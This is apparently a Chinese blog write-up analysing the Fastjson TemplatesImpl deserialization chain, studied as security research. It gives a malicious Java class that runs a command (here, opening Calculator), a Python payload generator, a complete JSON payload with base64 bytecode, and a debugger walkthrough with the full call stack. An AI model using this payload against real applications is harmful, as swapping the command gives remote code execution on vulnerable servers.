Fastjson反序列化漏洞分析--TemplatesImpl利用链
前言
前面对 TemplatesImpl 利用链进行了漏洞分析,这次接着上次的内容,对 TemplatesImpl 利用链进行分析。
TemplatesImpl利用链
漏洞原理:Fastjson 通过 bytecodes 字段传入恶意类,调用 outputProperties 属性的 getter 方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
但是由于需要在 parse 反序列化时设置第二个参数 Feature.SupportNonPublicField ,所以利用面很窄,但是这条利用链还是值得去学习
项目地址:https://github.com/alibaba/fastjson
漏洞复现
打开 Fastjson 项目,看到 parse 反序列化时设置第二个参数 Feature.SupportNonPublicField
恶意类TEMPOC.java
,调出计算器程序。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
将其编译成.class文件,通过如下方式进行base64加密以及生成payload。
import base64
fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
POC
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
执行后,调出计算器:
漏洞分析
据上面的分析,_bytecode
为恶意类TEMPOC.java
编译成.class
文件后,通过 base64 编码得到的值。事先我们知道 TemplatesImpl 类实例化对象是通过调用newTransFormer()
方法,所以想要进行实例化,就必须触发newTransFormer()
这个方法。
跟进 TemplatesImpl,可以看到在getOutPropereties()
中会调用newTransFormer()
这个方法
为了更好理解,我们直接来看看下面几个类:
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserilizer:smartMatch:761
com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:126
com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:80
com.alibaba.fastjson.serializer.ObjectArrayCode:deserialze:136
首先是com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:80
可以我们看到name=getOutPropereties
,正是对应上面的getOutPropereties
方法
在 com.alibaba.fastjson.parser.deserializer.FieldDeserilizer:setValue:126 加断点进行调试
发现field.set(object,value)
向 TemplatesImpl 里放入 _bytecode
字段,继续调试
第二次放入_name
字段,继续
第三次放入_tfactory
字段
继续调试,发现最后直接调用了计算器,表明已经成功反序列化,实际上此时放入的是getOutPropereties
,成功触发newTransFormer()
方法
再来看看 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserilizer:smartMatch:761
这里是去除_
操作,即可以将_outputPropereties
变为outputPropereties
,之后变成一个method
,被我们 invoke
com.alibaba.fastjson.serializer.ObjectArrayCode:deserialze:136
加断点进行调试,进入到 com.alibaba.fastjson.parser.deserializer.JSONScanner:111
这里对_bytecode
做了 base64 的解码,所以这就是为什么要对恶意类二进制内容进行 base64 编码
最后给出整个调用栈:
<init>:13, TEMPOC
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:7, Unser